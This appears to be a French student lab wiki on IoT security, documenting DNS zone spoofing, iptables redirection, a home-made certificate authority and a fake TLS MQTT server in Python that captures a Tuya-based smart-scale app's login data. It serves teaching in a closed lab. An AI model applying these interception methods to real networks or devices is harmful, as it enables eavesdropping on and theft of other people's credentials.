14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10923</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10923"/>
		<updated>2025-12-11T16:28:15Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Ultime tentative */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
